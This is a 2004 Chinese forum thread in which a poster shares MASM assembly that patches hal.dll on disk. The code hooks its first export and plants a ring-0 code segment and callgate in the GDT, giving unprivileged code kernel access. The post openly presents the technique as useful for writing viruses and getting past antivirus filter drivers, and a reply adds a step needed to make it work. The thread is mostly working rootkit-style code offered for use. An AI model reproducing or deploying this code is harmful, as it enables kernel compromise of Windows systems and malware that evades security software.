wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
阅读:2382回复:2

修改HAL生成CALLGATE

楼主#
更多 发布于:2004-08-30 19:14
修改HAL生成CALLGATE

常年来在NT核心下进RING0需要ADM权限,是最方便的方法,不过对于写病毒而言却不利,根据29A的说法最好是杀入RING0后挂接FSD,在反病毒过滤驱动的上层和下层做手脚,从而骗过病毒防火墙,可进入RING0一直是大家心中永远的痛,好在MS到也大方,对于核心驱动还是留给我们修改的余地,前些日子郁闷,做了个测试,通过修改HAL在GDT上生成CALLGATE后,可以随意进入RING0,到也方便,不过对不同的OS可能要修改不同的地方,稍微麻烦点,不过对于写病毒来说应该是不难的吧,下面的例子我在我的WIN2K SP4上测试通过,修改HAL的第一个导出函数ExAcquireFastMutex来挂接我们自己的代码,在GDT的最后生成我们自己的RING0 CS和CALLGATE,CALLGATE指向GDT 的NULL SELECTOR上的RET指令,这样可以随意把自己的代码加入到CALLGATE中,详细用法也可以参考MGF的病毒的方法,或我在驱动网写的些例子。

在XP下的偏移地址会不同,你找些PE的空地方看看,我在2K SP4下用了RVA 1200H,那里比较空,嘿嘿。。。。。测试的时候把HAL作个备份,不然系统起不来可别郁闷了,嘿嘿。。。。。。

.586p
.model flat,stdcall
option casemap:none


include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\gdi32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\advapi32.lib

CHAGEADDR equ 1200h
.code
start:
nop
nop
nop
nop

call _EditHal

invoke ExitProcess,0


_EditHal proc
local @hFile
local @hFileMap
local @lpFileMap
local @lpSystemDir[40h]:byte
local @lpCurrentDir[200h]:byte
local  @FileSize

;push 40h
;lea edi,@lpSystemDir
;push edi
;call GetSystemDirectory
;invoke GetSystemDirectory,addr @lpSystemDir,100h
lea edi,@lpCurrentDir
push edi
push 200h
call GetCurrentDirectory

mov dword ptr [edi+eax],'lah\'
mov dword ptr [edi+eax+4],'lld.'
mov dword ptr [edi+eax+8],0

push 0
push 80h
push 3
push 0
push 0
push 0c0000000h
push edi
call CreateFile
;invoke CreateFile,addr @lpSystemDir,0c0000000h,0,0,2,80h,0
.if eax!=0ffffffffh
    mov @hFile,eax

    push 0
    push eax
    call GetFileSize  ;get file size
    .if  eax!=INVALID_HANDLE_VALUE
    mov @FileSize,eax
    
    push 0
    push 0
    push 0
    push 4
    push 0
    push @hFile
    call CreateFileMapping
  ;invoke CreateFileMapping,eax,0,4,0,edx,0
   .if eax
      mov @hFileMap,eax

      push 0
      push 0
      push 0
      push 6
      push eax
      call MapViewOfFile
      ;invoke MapViewOfFile,eax,6,0,0,0
      .if eax
          mov @lpFileMap,eax


          mov edx,eax
          add edx,[edx+3ch]
   mov ebx,edx

          mov edx,[edx+78h]
          add edx,eax
          mov edx,[edx+1ch]
          add edx,eax
          mov ecx,[edx]

          .if ecx!=CHAGEADDR
              sub ecx,CHAGEADDR+offset ring0apiend-offset ring0apistart
              mov origentry,ecx

              mov edi,eax
              add edi,CHAGEADDR
              mov esi,offset ring0apistart
              mov ecx,offset ring0apiend-offset ring0apistart
       cld
              rep movsb

              mov dword ptr [edx],CHAGEADDR

       CheckSum:
                       mov edi,ebx
                       mov esi,@lpFileMap
                       assume ebx:nothing
                       assume edi:ptr IMAGE_NT_HEADERS
                       mov     dword ptr[edi].OptionalHeader.CheckSum,0

                       mov     ecx,@FileSize
                       inc     ecx
                       shr     ecx,1
                       xor     eax,eax
                       clc
      
             cal_checksum:
                       adc     ax,word ptr[esi]
                       inc     esi
                       inc     esi
                       loop    cal_checksum
                       mov     ebx,@FileSize
                       add     eax,ebx
                       mov     dword ptr[edi].OptionalHeader.CheckSum,eax
          .endif


      push @lpFileMap
      call UnmapViewOfFile
      ;invoke UnmapViewOfFile,@lpFileMap
  .endif

  push @hFileMap
  call CloseHandle
  ;invoke CloseHandle,@hFileMap
  .endif
.endif
push @hFile
call CloseHandle
;invoke CloseHandle,@hFile
.endif

ret
_EditHal endp


ring0apistart:
push edx
push dx
sgdt fword ptr [esp]
pop cx
pop edx
movzx ecx,cx
and cl,0f0h

.if word ptr [edx+ecx+4]!=0ec00h
mov byte ptr [edx],0c3h

mov dword ptr [edx+ecx],edx
mov dword ptr [edx+ecx+4],edx
mov dword ptr [edx+ecx+2],0ec000008h
add dword ptr [edx+ecx+2],ecx

mov dword ptr [edx+ecx+8],0000ffffh
mov dword ptr [edx+ecx+12],00cf9a00h
.endif
popad
popfd

db 0e9h
origentry dd 0
ring0apiend:


end start


花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
沙发#
发布于:2004-09-01 11:27
由于要写代码段,别忘了给TEXT段上加上RWE属性。
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
paladinii
驱动中牛
驱动中牛
  • 注册日期2003-10-28
  • 最后登录2012-03-09
  • 粉丝0
  • 关注0
  • 积分282分
  • 威望74点
  • 贡献值0点
  • 好评度23点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2005-02-01 13:00
牛,顶,很好的文章。
Ideas for life!
游客

返回顶部